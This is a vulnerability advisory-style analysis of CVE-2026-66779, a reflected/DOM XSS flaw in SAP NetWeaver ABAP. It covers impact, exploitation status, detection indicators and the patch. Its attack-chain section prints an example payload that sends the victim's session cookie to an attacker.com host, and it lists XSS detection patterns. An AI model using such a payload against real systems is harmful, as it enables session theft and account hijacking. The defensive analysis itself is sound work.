CVE-2026-66779: 
SAP NetWeaver Application Server ABAP vulnerability analysis and mitigation

CVE-2026-66779 is a DOM-based/reflected Cross-Site Scripting (XSS) vulnerability in SAP NetWeaver Application Server ABAP. An authenticated attacker can craft a malicious link that, when accessed by another authenticated user, causes injected input to be reflected within the DOM during page rendering, executing arbitrary scripts in the victim's browser context. Affected versions include SAP_UI 754, 755, 756, 757, 758, 816; EP-FLP 7.50; SAP_BASIS 731; and AJAX-RUNTIME 7.50. The vulnerability was published on August 11, 2026, with a CVSS v3.1 base score of 6.3 (Medium) (GitHub Advisory, SAP Security Patch Day).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically manifesting as a DOM-based/reflected XSS (GitHub Advisory). An authenticated attacker crafts a URL containing malicious script payloads targeting vulnerable SAP NetWeaver ABAP endpoints; when an authenticated victim clicks the link, the server reflects the injected input into the DOM without proper sanitization or output encoding, causing the browser to execute the attacker-controlled script. Exploitation requires low privileges (an authenticated account) and user interaction (the victim must click the malicious link), making it a network-based attack with low complexity (GitHub Advisory). The attack is associated with CAPEC patterns including CAPEC-588 (DOM-Based XSS) and CAPEC-591 (Reflected XSS) (Feedly).

Successful exploitation results in high confidentiality impact and low integrity impact, with no effect on availability (GitHub Advisory). An attacker can execute arbitrary JavaScript in the victim's browser context, enabling theft of session tokens, authentication cookies, or other sensitive data accessible to the victim within the SAP NetWeaver environment. This could facilitate account hijacking, unauthorized access to SAP business data, or further lateral movement within the SAP landscape if the victim holds elevated privileges (Onapsis, CyberSecurityNews).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and NVD SSVC assessment indicates exploitation is currently "none" and the attack is not automatable. The EPSS score is approximately 0.201%, placing it in the 10th percentile for exploitation probability within 30 days (GitHub Advisory). Detection coverage is available via Tenable Nessus plugin 335403 (Tenable).

1. Reconnaissance: Identify SAP NetWeaver Application Server ABAP instances running affected versions (SAP_UI 754–758/816, EP-FLP 7.50, SAP_BASIS 731, AJAX-RUNTIME 7.50) accessible via the network.
2. Authenticate: Obtain a low-privileged authenticated account on the target SAP NetWeaver system (e.g., a standard business user account).
3. Identify vulnerable endpoint: Locate a web-facing SAP NetWeaver ABAP page that reflects user-supplied input into the DOM without proper sanitization.
4. Craft malicious link: Construct a URL targeting the vulnerable endpoint with an injected JavaScript payload in a query parameter (e.g., https://target-sap-server/path/to/page?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
5. Distribute the link: Make the malicious link publicly accessible or send it to a targeted authenticated victim via email, chat, or other social engineering channels.
6. Victim interaction: When the authenticated victim clicks the link, the SAP server reflects the injected payload into the DOM, causing the victim's browser to execute the attacker's JavaScript.
7. Harvest data: The executed script exfiltrates session cookies, authentication tokens, or other sensitive browser-accessible data to an attacker-controlled server (GitHub Advisory, Onapsis).

• Network: Outbound HTTP/HTTPS requests from victim browsers to unexpected external domains immediately after accessing SAP NetWeaver pages; unusual GET/POST requests to SAP endpoints containing encoded script tags (%3Cscript%3E, javascript:, onerror=, etc.) in URL parameters.
• Logs: SAP web access logs showing requests to vulnerable endpoints with URL-encoded XSS payloads in query parameters; repeated access to the same SAP page URL with varying suspicious parameter values from different source IPs.
• Browser/Application: Unexpected JavaScript execution errors or redirects originating from SAP NetWeaver pages; users reporting unexpected pop-ups or redirects when accessing SAP web interfaces.
• Session: Anomalous session activity following a user clicking an external link — such as session reuse from a different IP or user-agent shortly after the click event (GitHub Advisory).

SAP has released a patch for this vulnerability as part of the SAP Security Patch Day in August 2026; organizations should apply SAP Note 3721424 to remediate the issue (SAP Note, SAP Security Patch Day). As interim mitigations, implement strict input validation and output encoding for all user-supplied data reflected in SAP web pages, and deploy Content Security Policy (CSP) headers to restrict unauthorized script execution. Users should be educated to avoid clicking on untrusted or unexpected links to SAP systems, and security teams should monitor application logs for XSS-related patterns (GitHub Advisory). Tenable Nessus plugin 335403 can be used to detect vulnerable systems (Tenable).

The vulnerability was covered as part of broader SAP Security Patch Day August 2026 coverage by security firms Onapsis, RedRays, and SecurityBridge, which published patch day summaries (Onapsis, RedRays, SecurityBridge). CyberSecurityNews and Cryptika also reported on the SAP vulnerabilities disclosed in this patch cycle, noting the risk of malicious code injection (CyberSecurityNews, Cryptika). Community reaction has been moderate given the Medium severity rating and the requirement for both attacker and victim authentication.